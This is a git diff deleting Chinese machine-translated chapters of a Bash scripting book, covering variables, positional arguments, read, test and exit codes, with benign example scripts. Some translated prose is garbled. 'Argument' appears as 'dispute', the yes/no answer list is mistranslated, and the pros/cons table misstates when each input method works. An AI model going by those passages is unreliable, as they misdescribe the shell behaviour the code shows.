-# Date: 2018-09-08 -# Description: Showing off different styles of variable naming. -# Usage: ./variable-naming.sh -##################################### - -# Assign the variables. -name="Sebastiaan" -home_type="house" -LOCATION="Utrecht" -_partner_name="Sanne" -animalTypes="gecko and hamster" - -# Print the story. -echo "${name} lives in a ${home_type} in ${LOCATION}, together with ${_partner_name} and their two pets: a ${animalTypes}." -``` - -如果我们运行这个,我们会得到一个很好的小故事: - -```sh -reader@ubuntu:~/scripts/chapter_08$ bash variable-naming.sh -Sebastiaan lives in a house in Utrecht, together with Sanne and their two pets: a gecko and hamster. -``` - -所以,我们的变量很有效!从技术上讲,我们在这个例子中所做的一切都很好。然而,他们看起来一团糟。我们使用了四种不同的命名约定:小写带下划线,大写,小写,最后是 camelCase。虽然这些在技术上是有效的,但请记住可读性很重要:最好选择一种命名变量的方式,并坚持使用这种方式。 - -正如你所料,关于这一点有很多观点(可能和标签和空格的争论一样多!).显然,我们也有一个观点,想分享一下:正则变量使用**小写 _ 分隔 _ by _ 下划线**,常量使用**大写**。从现在开始,您将在所有进一步的脚本中看到这种做法。 - -前面的示例如下所示: - -```sh -reader@ubuntu:~/scripts/chapter_08$ cp variable-naming.sh variable-naming-proper.sh -reader@ubuntu:~/scripts/chapter_08$ vim variable-naming-proper.sh -vim variable-naming-proper.sh -reader@ubuntu:~/scripts/chapter_08$ cat variable-naming-proper.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-08 -# Description: Showing off uniform variable name styling. -# Usage: ./variable-naming-proper.sh -##################################### - -NAME="Sebastiaan" -HOME_TYPE="house" -LOCATION="Utrecht" -PARTNER_NAME="Sanne" -ANIMAL_TYPES="gecko and hamster" - -# Print the story. -echo "${NAME} lives in a ${HOME_TYPE} in ${LOCATION}, together with ${PARTNER_NAME} and their two pets: a ${ANIMAL_TYPES}." -``` - -我们希望你同意这个看起来更好。在本章的后面,当我们介绍用户输入时,我们也将使用普通变量,这与我们目前使用的常量相反。 - -Whatever you decide upon when naming your variables, there is only one thing in the end that really matters: consistency. Whether you prefer lowercase, camelCase, or UPPERCASE, it has no impact on the script itself (except for certain readability pros and cons, as discussed). However, using multiple naming conventions at the same time greatly confuses things. Always make sure to pick a convention wisely, and then **stick to it!** - -为了保持整洁,我们通常避免使用大写变量,常量除外。这主要是因为(几乎)Bash 中所有*环境变量*都是大写的。如果您在脚本中使用大写变量,有一件重要的事情要记住:**确保您选择的名称不会与预先存在的 Bash 变量**冲突。这些包括`PATH`、`USER`、`LANG`、`SHELL`、`HOME`等等。如果您在脚本中使用相同的名称,您可能会得到一些意想不到的行为。 - -避免这些冲突并为变量选择唯一的名称是一个更好的主意。例如,你可以选择`SCRIPT_PATH`变量而不是`PATH`。 - -# 处理用户输入 - -到目前为止,我们一直在处理真正静态的脚本。虽然有一个故事可供每个人打印出来很有趣,但它很难称得上是一个功能性的 shell 脚本。至少,这不是你会经常使用的东西!所以,我们想在 shell 脚本中引入一个非常重要的概念:**用户输入**。 - -# 基本输入 - -在一个非常基本的层次上,调用脚本后放在命令行上的所有内容都可以用作输入。但是,使用它取决于脚本!例如,考虑以下情况: - -```sh -reader@ubuntu:~/scripts/chapter_08$ ls -hello-int.sh hello-world-variable.sh name.sh variable-naming-proper.sh variable-naming.sh -reader@ubuntu:~/scripts/chapter_08$ bash name.sh -There once was a guy named Sebastiaan. Sebastiaan enjoyed Linux and Bash so much that he wrote a book about it! Sebastiaan really hopes everyone enjoys his book. -reader@ubuntu:~/scripts/chapter_08$ bash name.sh Sanne -There once was a guy named Sebastiaan. Sebastiaan enjoyed Linux and Bash so much that he wrote a book about it! Sebastiaan really hopes everyone enjoys his book -``` - -当我们第一次调用`name.sh`时,我们使用了最初打算的功能。第二次调用时,我们提供了一个额外的参数:`Sanne`。然而,因为脚本根本不解析用户输入,所以我们看到的输出完全相同。 - -让我们修改`name.sh`脚本,以便它实际上使用我们在调用脚本时指定的额外输入: - -```sh -reader@ubuntu:~/scripts/chapter_08$ cp name.sh name-improved.sh -reader@ubuntu:~/scripts/chapter_08$ vim name-improved.sh -reader@ubuntu:~/scripts/chapter_08$ cat name-improved.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-08 -# Description: Script to show why we need variables; now with user input! -# Usage: ./name-improved.sh -##################################### - -# Assign the name to a variable. -name=${1} - -# Print the story. -echo "There once was a guy named ${name}. ${name} enjoyed Linux and Bash so much that he wrote a book about it! ${name} really hopes everyone enjoys his book." - -reader@ubuntu:~/scripts/chapter_08$ bash name-improved.sh Sanne -There once was a guy named Sanne. Sanne enjoyed Linux and Bash so much that he wrote a book about it! Sanne really hopes everyone enjoys his book. -``` - -现在,看起来好多了!脚本现在接受用户输入;具体来说,就是这个人的名字。它通过使用`$1`构造来实现:这是*第一个位置参数*。我们称这些论点为位置性的,因为位置很重要:第一个永远写给`$1`,第二个写给`$2`,等等。我们没有办法交换这些。只有当我们开始考虑让我们的脚本与 flags 兼容时,我们才会获得更多的灵活性。如果我们为脚本提供更多的参数,我们可以使用`$3`、`$4`等等来获取它们。 - -您可以提供的参数数量是有限制的。然而,它足够高,你永远不必真正担心它。如果你做到了这一点,你的脚本将会非常笨拙,以至于没有人会使用它! - -You might want to pass a sentence to a Bash script, as **one** argument. In this case, you need to enclose the entire sentence in single or double quotes if you want to have it interpreted as a *single positional argument*. If you do not, Bash will consider each space in your sentence the delimiter between the arguments; passing the sentence **This Is Cool** will result in three arguments to the script: This, Is, and Cool. - -请注意,我们再次更新了标题,在*用法*下包含了新的输入。然而,从功能上来说,这个脚本并没有那么好;我们用了带有女性名字的男性代词!让我们快速解决这个问题,看看如果我们现在*忽略用户输入*会发生什么: - -```sh -reader@ubuntu:~/scripts/chapter_08$ vim name-improved.sh -reader@ubuntu:~/scripts/chapter_08$ tail name-improved.sh -# Date: 2018-09-08 -# Description: Script to show why we need variables; now with user input! -# Usage: ./name-improved.sh -##################################### - -# Assign the name to a variable. -name=${1} - -# Print the story. -echo "There once was a person named ${name}. ${name} enjoyed Linux and Bash so much that he/she wrote a book about it! ${name} really hopes everyone enjoys his/her book." - -reader@ubuntu:~/scripts/chapter_08$ bash name-improved.sh -There once was a person named . enjoyed Linux and Bash so much that he/she wrote a book about it! really hopes everyone enjoys his/her book. -``` - -因此,我们使文本更加中性。然而,当我们在没有提供名称作为参数的情况下调用脚本时,我们打乱了输出。在下一章中,我们将深入探讨错误检查和输入验证,但是现在请记住,如果变量缺失/为空,Bash **将不会提供错误;你完全有责任处理这件事。我们将在下一章中进一步讨论这一点,因为这是 shell 脚本中另一个非常重要的主题。** - -# 参数和自变量 - -我们需要后退一小步,讨论一些术语——参数和参数。这并不是非常复杂,但可能会有点混乱,而且它们有时会被错误地使用。 - -基本上,争论是你传递给剧本的东西。你在脚本中定义的被认为是参数*。*看看下面的例子,看看这是如何工作的: - -```sh -reader@ubuntu:~/scripts/chapter_08$ vim arguments-parameters.sh -reader@ubuntu:~/scripts/chapter_08$ cat arguments-parameters.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-08 -# Description: Explaining the difference between argument and parameter. -# Usage: ./arguments-parameters.sh -##################################### - -parameter_1=${1} -parameter_2=${2} - -# Print the passed arguments: -echo "This is the first parameter, passed as an argument: ${parameter_1}" -echo "This is the second parameter, also passed as an argument: ${parameter_2}" - -reader@ubuntu:~/scripts/chapter_08$ bash arguments-parameters.sh 'first-arg' 'second-argument' -This is the first parameter, passed as an argument: first-arg -This is the second parameter, also passed as an argument: second-argument -``` - -我们以这种方式使用的变量在脚本中被称为参数,但是在将它们传递给脚本时被称为参数。在我们的`name-improved.sh`脚本中,参数是`name`变量。这是静态的,并且绑定到脚本版本。然而,每次运行脚本时,争论都是不同的:它可以是`Sebastiaan`,或`Sanne`,或任何其他名称。 - -Remember, when we are talking about an argument, you can read that as a *runtime argument*; something that can be different each run. If we're talking about a parameter of the script, we're referring to the static piece of information expected by a script (which is often provided by a runtime argument, or some logic in the script). - -# 交互式和非交互式脚本 - -到目前为止,我们创建的脚本使用用户输入,但它不能真正称为交互式。一旦脚本被触发,无论参数是否有参数,脚本都会运行并完成。 - -但是,如果我们不想使用一长串参数,而是提示用户输入所需的信息呢? - -进入`read`命令。`read`的基本用法是查看来自命令行的输入,并将其存储在`REPLY`变量中。自己试试吧: - -```sh -reader@ubuntu:~$ read -This is a random sentence! -reader@ubuntu:~$ echo $REPLY -This is a random sentence! -reader@ubuntu:~$ -``` - -在您启动`read`命令后,您的终端将进入一行,并允许您键入您想要的任何内容。一旦点击*进入*(或者,实际上,直到 Bash 遇到*换行符*键),输入将被保存到`REPLY`变量中。然后,您可以回显该变量,以验证它是否实际存储了您的文本。 - -`read`有几个有趣的标志,这使得它在 shell 脚本中更有用。我们可以使用带有参数的`-p`标志(要显示的文本,用引号括起来)向用户显示提示,并且我们可以提供变量的名称作为最后一个参数,我们希望在该变量中存储响应: - -```sh -reader@ubuntu:~$ read -p "What day is it? " -What day is it? Sunday -reader@ubuntu:~$ echo ${REPLY} -Sunday -reader@ubuntu:~$ read -p "What day is it? " day_of_week -What day is it? Sunday -reader@ubuntu:~$ echo ${day_of_week} -Sunday -``` - -在前面的例子中,我们首先使用`read -p`而没有指定一个变量来保存我们的响应。在这种情况下,`read`的默认行为将其置于`REPLY`变量中。一行之后,我们用文字`day_of_week`结束了`read`命令。在这种情况下,完整的响应被保存到一个同名的变量中,如后面的`echo ${day_of_week}`所示。 - -现在让我们在一个实际的脚本中使用`read`。我们将首先使用`read`创建脚本,然后使用到目前为止的位置参数: - -```sh -reader@ubuntu:~/scripts/chapter_08$ vim interactive.sh -reader@ubuntu:~/scripts/chapter_08$ cat interactive.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-09 -# Description: Show of the capabilities of an interactive script. -# Usage: ./interactive.sh -##################################### - -# Prompt the user for information. -read -p "Name a fictional character: " character_name -read -p "Name an actual location: " location -read -p "What's your favorite food? " food - -# Compose the story. -echo "Recently, ${character_name} was seen in ${location} eating ${food}! - -reader@ubuntu:~/scripts/chapter_08$ bash interactive.sh -Name a fictional character: Donald Duck -Name an actual location: London -What's your favorite food? pizza -Recently, Donald Duck was seen in London eating pizza! -``` - -结果很好。用户可以直接调用脚本,而不用考虑如何使用它,并进一步得到信息提示。现在,让我们复制并编辑这个脚本,并使用位置参数来提供信息: - -```sh -reader@ubuntu:~/scripts/chapter_08$ cp interactive.sh interactive-arguments.sh -reader@ubuntu:~/scripts/chapter_08$ vim interactive-arguments.sh -reader@ubuntu:~/scripts/chapter_08$ cat interactive-arguments.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-09 -# Description: Show of the capabilities of an interactive script, -# using positional arguments. -# Usage: ./interactive-arguments.sh -# -##################################### - -# Initialize the variables from passed arguments. -character_name=${1} -location=${2} -food=${3} - -# Compose the story. -echo "Recently, ${character_name} was seen in ${location} eating ${food}!" - -reader@ubuntu:~/scripts/chapter_08$ bash interactive-arguments.sh "Mickey Mouse" "Paris" "a hamburger" -Recently, Mickey Mouse was seen in Paris eating a hamburger! -``` - -首先,我们将`interactive.sh`脚本复制到`interactive-arguments.sh`。我们编辑了这个脚本,不再使用`read`,而是从传递给脚本的参数中获取值。我们用*新名称和新用法*编辑了标题,并通过提供另一组参数来运行它。又一次,我们被呈现了一个美好的小故事。 - -所以,你可能会想,什么时候应该用哪种方法?两种方法都以相同的结果结束。然而,就我们而言,这两个脚本的可读性和易用性并不相同。查看下表,了解每种方法的优缺点: - -| | **优点** | cons | -| 阅读 | - -* Users do not need to know the parameters to be provided; They just need to run the script and be prompted with any information they need. -* It is impossible to forget to provide information. - - | - -* If you want to repeat the script several times, you need to enter the response each time. -* Cannot run interactively; For example, in a predetermined job - - | -| 争论 | - -* Can be easily repeated. -* It can also run interactively. - - | - -* User is trying to run script. -* Before, I needed to know the arguments for providing **and forgot to provide some required information** - -要容易得多 | - -基本上,一种方法的优点就是另一种方法的缺点,反之亦然。似乎用这两种方法我们都赢不了。那么,我们如何创建一个健壮的交互式脚本,我们也可以非交互式地运行它呢? - -# 组合位置参数和读取 - -当然是通过两种方法的结合!在我们开始执行脚本的实际功能之前,我们需要验证是否已经提供了所有必要的信息。如果没有,我们可以提示用户输入缺失的信息。 - -我们将稍微展望一下[第 11 章](11.html)、*条件测试和脚本循环*,并解释`if-then`逻辑的基本用法。我们将把这个和`test`命令结合起来,我们可以用它来检查一个变量是包含一个值还是空的。*如果*是这样的话,*那么*我们可以用`read`提示用户提供缺失的信息。 - -从本质上来说,`if-then`逻辑无非是说`if , then do `。在我们的示例中,`if`的变量`character_name`为空,`then`使用`read`提示该信息。我们将对脚本中的所有三个参数执行此操作。 - -Because the arguments we're supplying are positional, we cannot supply the first and the third only; the script would interpret that as the first and second argument, with a missing third argument. With our current knowledge, we're limited by this. In [Chapter 15](15.html), *Parsing Bash Script Arguments with getopts*, we'll explore how to supply information using flags. In this case, we can supply all information separately, without worrying about the order. For now, however, we'll have to live with the limitation! - -在我们解释`test`命令之前,我们需要稍微返回并解释一下**退出代码**。基本上,每个运行和退出的程序都会向最初启动它的父进程返回一个代码。正常情况下,如果一个过程已经完成并且执行成功,它会以**代码 0** 退出。如果程序执行不成功,则退出*任何其他代码*;但是,这通常是**代码 1** 。虽然退出代码有约定,但通常你会遇到好退出为 0,坏退出为 1 的情况。 - -当我们使用`test`命令时,它也会生成符合指导原则的退出代码:如果测试成功,我们会看到退出代码 0。如果不是,我们会看到另一个代码(可能是 1)。用`echo $?`命令可以看到上一条命令的退出代码。 - -让我们看一个例子: - -```sh -reader@ubuntu:~/scripts/chapter_08$ cd -reader@ubuntu:~$ ls -l -total 8 --rw-rw-r-- 1 reader reader 0 Aug 19 11:54 emptyfile -drwxrwxr-x 4 reader reader 4096 Sep 1 09:51 scripts --rwxrwxr-x 1 reader reader 23 Aug 19 11:54 textfile.txt -reader@ubuntu:~$ mkdir scripts -mkdir: cannot create directory ‘scripts’: File exists -reader@ubuntu:~$ echo $? -1 -reader@ubuntu:~$ mkdir testdir -reader@ubuntu:~$ echo $? -0 -reader@ubuntu:~$ rmdir testdir/ -reader@ubuntu:~$ echo $? -0 -reader@ubuntu:~$ rmdir scripts/ -rmdir: failed to remove 'scripts/': Directory not empty -reader@ubuntu:~$ echo $? -1 -``` - -在前面的例子中发生了很多事情。首先,我们尝试创建一个已经存在的目录。由于我们不能有两个同名的目录(在同一个位置),因此`mkdir`命令失败。当我们使用`$?`打印出口代码时,我们被退回`1`。 - -接下来,我们成功创建了一个新目录`testdir`。当我们在该命令后打印退出代码时,我们看到了成功的数字:`0`。成功清空`testdir`后,我们再次看到`0`的退出代码。当我们试图用`rmdir`删除非空的`scripts`目录时(这是不允许的),我们收到一条错误消息,看到退出代码又是`1`。 - -让我们回到`test`上来。我们需要做的是验证一个变量是否为空。如果是,我们想启动`read`提示,让用户输入填写。首先我们将在`${PATH}`变量上尝试这个(它永远不会是空的),然后在`empty_variable`上尝试,它确实会是空的。为了测试变量是否为空,我们使用`test -z `: - -```sh -reader@ubuntu:~$ test -z ${PATH} -reader@ubuntu:~$ echo $? -1 -reader@ubuntu:~$ test -z ${empty_variable} -reader@ubuntu:~$ echo $? -0 -``` - -虽然一开始这看起来可能是错误的方式,但是想想看。我们正在测试变量**是否为空**。由于`$PATH`不为空,测试失败并产生退出代码 1。对于`${empty_variable}`(我们从来没有创建过),我们确定它确实是空的,退出代码 0 证实了这一点。 - -如果我们想将 Bash `if`和`test`结合起来,我们需要知道`if`期望测试以退出代码 0 结束。所以,如果测试成功,我们可以做点什么。这完全符合我们的例子,因为我们测试的是空变量。如果你想反过来测试,你需要测试一个非零长度变量,这是`test`的`-n`标志。 - -我们先来看看`if`语法。本质上看起来是这样的:`if ; then ; fi`。您可以选择在多行上有这个,但是使用;在线上也终止它。让我们看看我们是否可以根据自己的需要来操纵它: - -```sh -reader@ubuntu:~$ if test -z ${PATH}; then read -p "Type something: " PATH; fi -reader@ubuntu:~$ if test -z ${empty_variable}; then read -p "Type something: " empty_variable; fi -Type something: Yay! -reader@ubuntu:~$ echo ${empty_variable} -Yay! -reader@ubuntu:~$ if test -z ${empty_variable}; then read -p "Type something: " empty_variable; fi -reader@ubuntu:~ -``` - -首先,我们在`PATH`变量上使用了我们构造的`if-then`子句。既然不是空的,我们也没想到会有提示:好事我们没有得到!我们使用了相同的构造,但是现在使用了`empty_variable`。看,由于`test -z`返回退出代码 0,`if-then`子句的`then`部分被执行,并提示我们输入一个值。输入值后,我们可以将其回显出来。再次运行`if-then`子句没有给我们`read`提示,因为此时变量`empty_variable`不再为空! - -最后,让我们将这个`if-then`逻辑合并到我们的`new interactive-ultimate.sh`脚本中: - -```sh -reader@ubuntu:~/scripts/chapter_08$ cp interactive.sh interactive-ultimate.sh -reader@ubuntu:~/scripts/chapter_08$ vim interactive-ultimate.sh -reader@ubuntu:~/scripts/chapter_08$ cat interactive-ultimate.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-09 -# Description: Show the best of both worlds! -# Usage: ./interactive-ultimate.sh [fictional-character-name] [actual- -# location] [favorite-food] -##################################### - -# Grab arguments. -character_name=$1 -location=$2 -food=$3 - -# Prompt the user for information, if it was not passed as arguments. -if test -z ${character_name}; then read -p "Name a fictional character: " character_name; fi -if test -z ${location}; then read -p "Name an actual location: " location; fi -if test -z ${food}; then read -p "What's your favorite food? " food; fi - -# Compose the story. -echo "Recently, ${character_name} was seen in ${location} eating ${food}!" - -reader@ubuntu:~/scripts/chapter_08$ bash interactive-ultimate.sh -"Goofy" - -Name an actual location: Barcelona -What's your favorite food? a hotdog -Recently, Goofy was seen in Barcelona eating a hotdog! -``` - -成功!我们被提示输入`location`和`food`,但是`character_name`成功地从我们通过的争论中解决了。我们已经创建了一个脚本,既可以完全交互使用,无需提供参数,也可以不交互使用参数。 - -While this script is informative, it is not really efficient. It would be better to combine the `test` looking directly at the passed arguments (`$1`, `$2`, `$3`), so we only need one line. Later on in the book, we will start using such optimizations, but for now it is more important to write things out in full, so you can more easily understand them! - -# 摘要 - -在这一章的开始,我们解释了什么是变量:一个允许我们存储信息的标准构建块,我们可以稍后引用。我们更喜欢使用变量的原因有很多:我们可以一次存储一个值并多次引用它,如果我们需要更改该值,我们只需更改一次,新值就会在任何地方使用。 - -我们解释了常量是一种特殊类型的变量:它在脚本的开头只定义一次,不受用户输入的影响,并且在脚本执行过程中不会改变。 - -我们继续讨论变量命名的一些注意事项。我们证明了 Bash 在变量方面非常灵活:它允许许多不同风格的变量命名。然而,我们解释说,如果在同一个脚本中或者在多个脚本之间使用多个不同的命名约定,可读性会受到影响。最好的办法是选择一种命名变量的方式,并坚持下去。我们建议常量使用大写,所有其他变量使用小写下划线。这将减少局部变量和环境变量之间冲突的机会。 - -接下来,我们探讨了用户输入以及如何处理它。我们给了脚本用户改变脚本结果的能力,这个功能对于大多数现实生活中的功能脚本来说几乎是强制性的。我们描述了两种不同的用户交互方法:使用位置参数的基本输入和使用`read`构造的交互输入。 - -本章最后我们简单介绍了 if**–**然后是逻辑和`test`命令。在介绍了单独使用的每种方法的优缺点后,我们使用这些概念创建了一种健壮的方法来处理用户输入,将位置参数与缺失信息的`read`提示相结合。这创建了一个可以交互和非交互使用的脚本,具体取决于用例。 - -本章介绍了以下命令:`read`、`test`和`if`。 - -# 问题 - -1. 什么是变量? -2. 为什么我们需要变量? -3. 什么是常数? -4. 为什么命名约定对变量特别重要? -5. 什么是位置论点? -6. 参数和参数有什么区别? -7. 怎样才能让一个剧本互动起来? -8. 我们如何创建一个既可以非交互使用又可以交互使用的脚本? - -# 进一步阅读 - -如果您想深入了解本章的主题,以下资源可能会很有意思: - -* **Bash 变量**:[https://ryanstutorials . net/Bash-scripting-tutorial/Bash-variables . PHP](https://ryanstutorials.net/bash-scripting-tutorial/bash-variables.php) -* **Google shell style guide**:[https://Google . github . io/style guide/shell . XML](https://google.github.io/styleguide/shell.xml)* \ No newline at end of file diff --git a/docs/learn-linux-shell-script/09.md b/docs/learn-linux-shell-script/09.md deleted file mode 100644 index c4d59733..00000000 --- a/docs/learn-linux-shell-script/09.md +++ /dev/null @@ -1,939 +0,0 @@ -# 九、错误检查和处理 - -在本章中,我们将描述如何检查错误并优雅地处理它们。我们将首先解释退出状态的概念,然后用`test`命令进行一些功能检查。之后,我们将开始使用`test`命令的速记符号。本章的下一部分专门讨论错误处理:我们将使用`if-then-exit`和`if-then-else`来处理简单的错误。在本章的最后一部分,我们将首先介绍一些防止错误发生的方法,因为预防胜于补救。 - -本章将介绍以下命令:`mktemp`、`true`和`false`。 - -本章将涵盖以下主题: - -* 错误检查 -* 错误处理 -* 错误预防 - -# 技术要求 - -本章只需要 Ubuntu 虚拟机。如果你从来没有更新过你的机器,现在可能是个好时机!`sudo apt update && sudo apt upgrade -y`命令完全升级您的机器和所有工具。如果您选择这样做,请确保您重新启动机器,以便加载升级的内核。在 Ubuntu 上,如果` /var/log/reboot-required`文件存在,你可以确定需要重启*。* - - *本章所有脚本均可在 GitHub:[https://GitHub . com/PacktPublishing/Learn-Linux-Shell-Scripting-Bash-4.4 基础/tree/master/Chapter09](https://github.com/PacktPublishing/Learn-Linux-Shell-Scripting-Fundamentals-of-Bash-4.4/tree/master/Chapter09) 上找到。 - -# 错误检查 - -在前一章中,我们花了一些时间解释如何在脚本中捕获和使用*用户输入*。虽然这使得我们的脚本更加动态,并且,通过扩展,更加实用,但是我们也引入了一个新概念:**人为错误。**假设您正在编写一个脚本,想要向用户提出是/否问题。您可能期望一个合理的用户使用以下任何一项作为答案: - -* y -* n -* Y -* 普通 -* 是 -* 不 -* 是 -* 不 -* 是 -* 不 - -虽然 Bash 允许我们检查我们能想到的所有值,但有时用户仍然能够通过提供您意想不到的输入来破坏脚本。例如,用户用他们的母语回答是/否问题:`ja`、`si`、`nei`,或无数其他可能性中的任何一种。在实践中,你会发现你可以*永远不会*想到用户会提供的每一个可能的输入。既然如此,最好的解决方案是处理最常见的预期输入,并使用通用错误消息捕获所有其他输入,该消息告诉用户*如何正确提供答案*。我们将在本章后面看到如何做到这一点,但首先,我们将从查看如何通过检查命令的**退出状态**来确定是否发生了错误开始。 - -# 退出状态 - -退出状态,通常也称为*退出代码*或*返回代码*,是 Bash 向其父进程传达进程成功或失败终止的方式。在 Bash 中,所有进程都是从调用它们的 Shell 中分叉出来的*。下图说明了这一点:* - - *![](img/ee93b0e8-d32a-41ec-ace1-c7e41a598265.png) - -当一个命令运行时,比如上图中的`ps -f`,复制当前 shell(包括环境变量!),该命令在副本中运行,称为*分叉*。命令/进程完成后,它终止分叉,并将退出状态返回到最初分叉的 shell(在交互会话的情况下,这将是您的用户会话)。此时,您可以通过查看退出代码来确定流程是否成功执行。如前一章所述,退出代码 0 被视为正常,而所有其他代码应被视为不正常。因为分叉被终止了,我们需要返回代码,否则我们将无法将状态反馈给我们的会话! - -因为我们在上一章已经看到了如何在交互会话中抓取退出状态(提示:我们看了`$?`变量的内容!),让我们看看如何在脚本中做到这一点: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim return-code.sh -reader@ubuntu:~/scripts/chapter_09$ cat return-code.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-29 -# Description: Teaches us how to grab a return code. -# Usage: ./return-code.sh -##################################### - -# Run a command that should always work: -mktemp -mktemp_rc=$? - -# Run a command that should always fail: -mkdir /home/ -mkdir_rc=$? - -echo "mktemp returned ${mktemp_rc}, while mkdir returned ${mkdir_rc}!" - -reader@ubuntu:~/scripts/chapter_09$ bash return-code.sh -/tmp/tmp.DbxKK1s4aV -mkdir: cannot create directory ‘/home’: File exists -mktemp returned 0, while mkdir returned 1! -``` - -看完剧本,我们从标题开始。因为我们在这个脚本中不使用用户输入,所以用法只是脚本名称。我们运行的第一个命令是`mktemp`。这个命令用来创建一个临时的*文件*,它有一个随机的名字,如果我们需要在磁盘上有一个位置来存放一些临时数据的话,它可能会很有用。或者,如果我们将`-d`标志提供给`mktemp`,我们将创建一个临时的*目录*,并随机命名。因为随机名称足够长,并且我们应该始终在`/tmp/`中拥有写权限,所以我们期望`mktemp`命令几乎总是成功,从而返回退出状态 0。我们通过在命令之后直接运行变量赋值**将返回代码保存到`mktemp_rc`变量中。这就是返回代码的最大弱点:我们只有在命令完成后才能直接使用它们。如果我们在之后做任何其他事情,返回代码将被设置为该操作,覆盖以前的退出状态!** - -接下来,我们运行一个我们认为总是会失败的命令:`mkdir /home/`。我们预计失败的原因是因为在我们的系统上(以及几乎每个 Linux 系统上),已经存在`/home/`目录。在这种情况下,无法再次创建它,这就是命令失败且退出状态为 1 的原因。再次,直接在`mkdir`命令后,我们将退出状态保存到`mkdir_rc`变量中。 - -最后,我们需要检查一下我们的假设是否正确。使用`echo`,我们打印两个变量的值以及一些文本,这样我们就知道在哪里打印了哪个值。最后要注意的是:我们在包含变量的句子中使用了*双引号*。如果我们使用*单引号*,变量就不会被*扩展*(用变量名替换变量名的 Bash 术语)。或者,我们可以完全省略引号,`echo`也可以按照期望运行,但是当我们开始使用重定向时,这可能会出现问题,这就是为什么我们认为在处理包含变量的字符串时总是使用双引号是一种好的形式。 - -# 功能检查 - -现在,我们知道如何检查进程的退出状态,以确定它是否成功。然而,这不是我们验证命令成功/失败的唯一方法。对于我们运行的大多数命令,我们还可以执行功能检查,看看我们是否成功。在之前的脚本中,我们尝试创建`/home/`目录。但是如果我们更关心的是`/home/`目录的存在,而不是进程的退出状态呢? - -以下脚本显示了我们如何对系统状态执行*功能检查*: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim functional-check.sh -reader@ubuntu:~/scripts/chapter_09$ cat functional-check.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-29 -# Description: Introduces functional checks. -# Usage: ./functional-check.sh -##################################### - -# Create a directory. -mkdir /tmp/temp_dir -mkdir_rc=$? - -# Use test to check if the directory was created. -test -d /tmp/temp_dir -test_rc=$? - -# Check out the return codes: -echo "mkdir resulted in ${mkdir_rc}, test resulted in ${test_rc}." - -reader@ubuntu:~/scripts/chapter_09$ bash functional-check.sh -mkdir resulted in 0, test resulted in 0. -reader@ubuntu:~/scripts/chapter_09$ bash functional-check.sh -mkdir: cannot create directory ‘/tmp/temp_dir’: File exists -mkdir resulted in 1, test resulted in 0. -``` - -我们从通常的管道开始前面的脚本。接下来,我们要用`mkdir`创建一个目录。我们获取退出状态并将其存储在变量中。接下来,我们使用`test`命令(我们在上一章中简要讨论过)来验证`/tmp/temp_dir/`是否是一个目录(因此,如果它是在**某个时候**创建的)。然后我们用`echo`打印返回代码,与我们打印返回代码的方式相同。 - -接下来,我们运行脚本两次。这里发生了一些有趣的事情。我们第一次运行脚本时,`/tmp/temp_dir/`目录不存在于文件系统中,而是被创建的。因此,`mkdir`命令的退出代码为 0。自从成功创建后,`test -d`也成功了,并如预期的那样给了我们一个退出状态 0。 - -现在,在脚本的第二次运行中,`mkdir`命令没有成功完成。这是意料之中的,因为脚本的第一次运行已经创建了目录。由于我们没有在两次运行之间删除它,第二次运行`mkdir`不成功。然而,`test -d`仍然运行良好:**目录存在**,尽管它不是在脚本运行中创建的。 - -When creating scripts, make sure you think long and hard about how you want to check for errors. Sometimes, return codes will be what you need: this is the case when you need to be sure that the command has been run successfully. Other times, however, a functional check might be a better fit. This is often the case when it is the end result that matters (for example, a directory must exist), but it does not matter so much what caused the desired state. - -# 测试速记 - -`test`命令是我们 shell 脚本库中最重要的命令之一。因为 shell 脚本通常是脆弱的,尤其是在涉及到用户输入的地方,所以我们希望尽可能地使它们健壮。虽然解释`test`命令的每个方面需要一整章,但是`test`可以做以下事情: - -* 检查文件是否存在 -* 检查目录是否存在 -* 检查变量是否不为空 -* 检查两个变量是否具有相同的值 -* 检查文件 1 是否比文件 2 旧 -* 检查 INTEGER1 是否大于 INTEGER2 - -诸如此类——这至少应该给你一个印象,你可以用`test`来检查。在*进一步阅读*部分,我们包含了大量关于测试的资料。确保给它一个外观,因为它肯定会有助于你的 shell 脚本冒险! - -对于大多数脚本和编程语言来说,没有`test`命令这种东西。显然,测试在这些语言中同样重要,但是与 Bash 不同,测试通常直接与`if-then-else`逻辑集成(我们将在本章的下一部分讨论)。对我们来说幸运的是,Bash 有一个`test`命令的简写,这使得它更接近其他语言的语法:`[`和`[[`。 - -查看下面的代码,更好地了解如何用这种简写方式替换`test`命令: - -```sh -reader@ubuntu:~/scripts/chapter_09$ vim test-shorthand.sh -reader@ubuntu:~/scripts/chapter_09$ cat test-shorthand.sh -#!/bin/bash - -##################################### -# Author: Sebastiaan Tammer -# Version: v1.0.0 -# Date: 2018-09-29 -# Description: Write faster tests with the shorthand! -# Usage: ./test-shorthand.sh -##################################### - -# Test if the /tmp/ directory exists using the full command: -test -d /tmp/ -test_rc=$? - -# Test if the /tmp/ directory exists using the simple shorthand: -[ -d /tmp/ ] -simple_rc=$? - -# Test if the /tmp/ directory exists using the extended shorthand: -[[ -d /tmp/ ]] -extended_rc=$? - -# Print the results. -echo "The return codes are: ${test_rc}, ${simple_rc}, ${extended_rc}." - -reader@ubuntu:~/scripts/chapter_09$ bash test-shorthand.sh -The return codes are: 0, 0, 0. -``` - -如您所见,在管道化之后,我们从之前介绍的`test`语法开始。接下来,我们用`[`代替了单词 test,用`]`结束了这一行。这是 Bash 与其他脚本/编程语言的共同点。请注意,与大多数语言不同的是,Bash 